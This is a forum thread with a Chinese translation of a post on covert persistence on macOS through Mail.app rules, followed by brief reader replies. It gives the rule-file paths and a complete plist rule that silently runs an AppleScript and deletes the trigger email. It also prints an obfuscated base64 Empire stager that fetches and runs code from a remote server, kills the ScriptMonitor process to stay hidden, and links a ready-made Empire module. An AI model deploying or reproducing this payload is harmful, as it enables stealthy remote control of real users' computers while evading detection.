吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 7413|回复: 8
收起左侧

[调试逆向] 通过 OS X 的邮件规则实现持久控制

[复制链接]
看雪iOS小组 发表于 2017-1-7 15:42
在这篇文章中,我们将会介绍如何在 OS X上通过使用 Mail.app 实现持久化驻留
我的灵感来自于一款类似的被设计用来同Microsoft Outlook一起运行的工具。我的第一个意外发现来自于MWRInfoSecurity的这篇文章,另外一个来自于SilentBreak Security 的这篇博文。虽然Mail.app中的规则复制不能跨越目录域,这也正是Xrulez和Ruler中令人惊叹的规则之一,但是它比起其他的持久化方法来讲,确实有一些较为明显的优势。
l  在被远程激活之前,它都不会显示网络签名
l  它不会被任何检测持久化的工具检测到(比如KnockKnock)。

目标网络7天/24小时处于监测状态的情况并不罕见。大多数持久化方法要求恶意软件不断地向命令控制服务器发出信号。这样通常会出现一个独特的,可以被精明的分析师发现的网络签名。一个具有安全意识的用户或组织,可以列举出恶意软件常用的保证持久性的区域。典型的有LaunchDeamons,Cron Jobs,Kernel Extensions。



KnockKnock正在系统中运行

虽然这种技术会在主机上留下文件,但是不会被常见的安全工具监测到,这是一个加分项。

要通过标准方式来创建一条mail规则,我们需要点击Mail->Preferences->Rules->Add Rule。

为了做渗透测试,假设我们不能在GUI内部进行交互,因此我们寻找一种通过shell执行这种操作的办法。
邮件规则存储在:
/Users/$USER/Library/Mail/$VERSION/MailData/SyncedRules.plist
      $USER代表用户主目录的名字,$VERSION代表操作系统版本。MacOS Sierra (10.12)是V4,OS X El Capitan (10.11) 是V3,OS X Lion (10.7) 到 OS X Yosemite (10.10)是V2。
      如果用户正在同步iCloud,那么邮件规则将会被另一个文件覆盖,这个文件位于:/Users/$USER/Library/Mobile Documents/com~apple~mail/Data/$VERSION/MailData/SyncedRules.plist

这个文件将会优先覆盖/Library/Mail/中的文件,因此,你应该将你的规则添加到这个文件。

当iCloud自动同步发生时,如果默认位置正在被使用,那么为了使应用程序重新加载新规则,Mail.app将会被退回(重启)。
    还有一个重要警告,那就是除非由存在于相同目录的RulesActiveState
.plist指定,否则邮件规则将不会处于活动状态。
      以下是我们试着做的可接受的规则的剖析:

                 <dict>
                     <key>AllCriteriaMustBeSatisfied</key>
                     <string>NO</string>
                     <key>AppleScript</key>
                     <string>EVIL.scpt</string>
                     <key>AutoResponseType</key>
                     <integer>0</integer>
                     <key>Criteria</key>
                     <array>
                     <dict>
                     <key>CriterionUniqueId</key>
                     <string>9709BE75-9606-D470-4F04-0A884724105A</string>
                     <key>Expression</key>
                     <string>TriggerWord</string>
                     <key>Header</key>
                     <string>Subject</string>
                     </dict>
                     </array>
                     <key>Deletes</key>
                     <string>YES</string>
                     <key>HighlightTextUsingColor</key>
                     <string>NO</string>
                     <key>MarkFlagged</key>
                     <string>NO</string>
                     <key>MarkRead</key>
                     <string>NO</string>
                     <key>NotifyUser</key>
                     <string>NO</string>
                     <key>RuleId</key>
                     <string>0A08B01B-4DAF-FA3A-E81D-CBA86A0E7C84</string>
                     <key>RuleName</key>
                     <string>SpamFilter</string>
                     <key>SendNotification</key>
                     <string>NO</string>
                     <key>ShouldCopyMessage</key>
                     <string>NO</string>
                     <key>ShouldTransferMessage</key>
                     <string>NO</string>
                     <key>TimeStamp</key>
                     <integer>147762204</integer>
                     <key>Version</key>
                     <integer>1</integer>
                     </dict>

值得注意的地方有:
l   AppleScript — 这标识着AppleScript应该运行,并且这个字符串标识着playload。
2   CriterionUniqueId和RuleId —Rule的唯一标识。这条规则的RuleID需要在RulesActiveState.plist激活。
3   Expression — 这是我们的规则匹配时需要查找的字符串。
4   RuleName — 这是个规则的名字。为了避免被监测,它应该被命名为一些看起来比较无害的名字。
5   Deletes — 当条件匹配时,它会删除邮件。

为了激活规则,需要在RulesActiveState.plist中包含RuleID,如下:

           <key>0A08B01B-4DAF-FA3A-E81D-CBA86A0E7C84</key>
<true/>

现在已经覆盖了规则创建了,是时候谈谈playload了。

Playloads由AppleScript创建。

以下是一个playload示例:

do shell script "echo \"importsys,base64;exec(base64.b64decode('aW1wb3J0IHN5cztvPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bc3lzLnZlcnNpb25faW5mb1swXV0sZnJvbWxpc3Q9WydidWlsZF9vcGVuZXInXSkuYnVpbGRfb3BlbmVyKCk7VUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMC4xMC4xMC4xMDo4MDgwJzt0PScvYWRtaW4vZ2V0LnBocCc7by5hZGRoZWFkZXJzPVsoJ1VzZXItQWdlbnQnLFVBKSwgKCJDb29raWUiLCAic2Vzc2lvbj1ZODROTmF3cHd1VHN4ZEF0VVRsa0ZvWGc3b2c9IildO2E9by5vcGVuKHNlcnZlcit0KS5yZWFkKCk7SVY9YVswOjRdO2RhdGE9YVs0Ol07a2V5PUlWKyd2JnRSXnJhNEZiM0hrWTkhXUp5LVdocWYlPDB4TjhLXyc7UyxqLG91dD1yYW5nZSgyNTYpLDAsW10NCmZvciBpIGluIHJhbmdlKDI1Nik6DQogICAgaj0oaitTW2ldK29yZChrZXlbaSVsZW4oa2V5KV0pKSUyNTYNCiAgICBTW2ldLFNbal09U1tqXSxTW2ldDQppPWo9MA0KZm9yIGNoYXIgaW4gZGF0YToNCiAgICBpPShpKzEpJTI1Ng0KICAgIGo9KGorU1tpXSklMjU2DQogICAgU1tpXSxTW2pdPVNbal0sU1tpXQ0KICAgIG91dC5hcHBlbmQoY2hyKG9yZChjaGFyKV5TWyhTW2ldK1Nbal0pJTI1Nl0pKQ0KZXhlYygnJy5qb2luKG91dCkp'));\"

|python & kill `ps -ax | grep ScriptMonitor |grep -v grep |  awk '{print $1}'`"

AppleScript可以轻松地发送命令,就像你在终端中使用”do shell script[3] “
                     

一样。第二部分是典型的Empire[4] stager。在&符号之后的附加命令是为了隐藏AppleScript。如果没有它,则不仅活动监视器中能够看到AppleScript,而且在MenuBar上还会有活动图标。看起来就像一个旋转的齿轮。




我创建了一个Empire模块[5],你可以使用Empire2.0自动完成这些。我最初的概念证明[6]脚本也可以通过手动运行存在,你可以在其中指定你自己的参数以及payload。我强烈建议给Empire模块一个齿轮旋转。

在获得初始会话之后,使用Empire模块的步骤:
使用模块persistence/osx/mail(或者你自己的模块放置的位置)
指定Listener,Trigger Word,和RuleName
执行

当你想要在一段时间之后执行playload时,你所需要做的就是:
使你的Empire服务开启侦听。
向目标发送邮件,在主题行中指定触发词。

电子邮件将会被删除,因此永远不会传递到收件箱,python将会产生一个程序,这个程序会从你的Empire服务器拉下stager。



1. Malicious Outlook Rules
2. Malicious Outlook Rules - Silent Break Security
3. do shell script in AppleScript
4. adaptivethreat/Empire
5. https://github.com/n00py/pOSt-eX/blob/master/empire_modules/mail.py

6. https://github.com/n00py/pOSt-eX/blob/master/mail.py


原文作者:n00py
译者:布兜儿(看雪ID:我有亲友团)
校对:西海
编辑:凌迟



发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

ci4y0nWF 发表于 2017-1-7 15:53 来自手机
好像很强大,但是太深奥
kugoo88 发表于 2017-1-7 20:38
有发邮件,不进垃圾箱   不用每个验证码的  软件或工具吗?
头像被屏蔽
mybbsky2012 发表于 2017-3-3 13:36
爱生活爱晴天 发表于 2017-3-16 21:00

好像很强大,但是太深奥
dukeylh 发表于 2017-3-19 07:12
厉害了我的哥
寒。雨 发表于 2017-3-22 20:03
太深奥.。。。。。。。。。。。
Onlookers_汐颜 发表于 2017-4-20 19:50
很有实用性,好评送给楼主
头像被屏蔽
Dormleader 发表于 2017-6-9 22:33
提示: 作者被禁止或删除 内容自动屏蔽
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-27 05:16

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表